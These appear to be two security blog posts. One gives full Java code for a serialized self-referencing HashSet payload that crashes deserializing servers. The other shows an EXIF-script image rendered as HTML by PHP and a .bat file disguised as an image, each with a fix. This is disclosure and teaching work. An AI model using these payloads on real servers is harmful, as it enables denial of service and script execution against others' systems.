Showing posts with label exploit. Show all posts
Showing posts with label exploit. Show all posts

Tuesday, February 19, 2019

DOS Payload (works on latest JRE) for Java Deserialization issue

Reading the below serialized payload by server using the latest JRE version (or older), can cause instant crash on server (StackOverflow error)

Payload:
https://github.com/csanuragjain/extra/blob/master/Deserialization%20issue/payloadNew.txt?raw=true

How is it created:

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;


public class Payload2 {

/**
 * @param args
 * @throws Exception 
 */
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
        Set s= new HashSet<>();
        Set entry= new HashSet();
        s.add(entry);
        entry.add(entry);
        FileOutputStream fos = new FileOutputStream("payloadNew.txt");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(s);
        oos.flush();
}

}

What happens when server reads it:
Server crash with StackOverflow error

What Oracle has to say:
There is no default JEP 290 serial filter that applies to all RMI
applications and eliminates all issues.  It is up to the application
writer to choose the configuration that makes an application the safest
it can be (given it's deserializing untrusted data).  In the given
examples HashMap and HashSet could be blocked to eliminate that issue.

In short, Oracle asks to block both of these classes using the serial Filter.

My thoughts:
Not quite sure, why an internal loop is even allowed.
The best way to mitigate this issue is not to trust any user provided serialized data. But if you have to read it then you need to be aware about these issues and should completely block these classes atleast (Although i think some other payload will always come)

Let me know your thoughts...

Friday, July 21, 2017

Some Image Based Exploits with their Prevention

Images can be used to run malicious scripts over browser and can also be used to download Trojans if not handled carefully by your website. Too much trust on user input can cause damage to your clients.

In this post, we will run malicious scripts using a simple image viewer functionality and lastly we will discuss on how we can resolve this.

Programming Language
HTML, PHP

Git Repository
https://github.com/csanuragjain/extra/tree/master/ImageExploit

Website
https://cooltrickshome.blogspot.in/2017/07/some-image-based-exploits-with-their.html

One of Image Vulnerability I reported:
https://hackerone.com/reports/221928

Scenario #1:
In this scenario, we will show how lacking Content-Type while displaying images can run malicious scripts.
 Malicious Image




















Description
1)  Right Click on above Image and then Choose Save Image As
2) Name it as exifxss.jpg and Save it.
3) Otherwise you can also get it from the git location.

showImage.php
 <?php  
 include('exifxss.jpg');  
 ?>  


Description
A simple php file which would be showing the above jpg file.

Output:
  1. When you access showImage.php on your browser, you will expect to see the image but instead you will see several pop up coming up.
  2. This happens since the php page is not setting the Content-Type which makes php show image as an HTML. Since Image has several alert messages so they start popping up.
  3. showImage.php need to make sure that it sets the correct Content-Type and also make sure that it does not set the user provided Content-Type.


Scenario #2:
In this scenario, we will show how simple looking image when downloaded can become an exploit.
Caution: This will run notepad, calc, msconfig, services.msc on your computer, although it won't perform anything malicious.

Malicious Image











Description
1)  Right Click on above Image and then Choose Save Image As
2) Name it as exifxss.bat and Save it.
3) Otherwise you can also get it from the git location.

showImage2.html
 <img src="image.bat" width=500 height=500/>  

Description
A simple HTML file showing the image image.bat

Output:

  1. On accessing the above HTML, you would see the bugs bunny image (nothing suspicious)
  2. Now right click on Image and save the image. It would be saved as image.bat
  3. On opening it the malicious payload gets executed opening up notepad, services.msc, msconfig, calc.
  4. To prevent it, make sure that users are never allowed to store any non image extension file.
Please let me know your suggestions and comments.
Hope it helps :)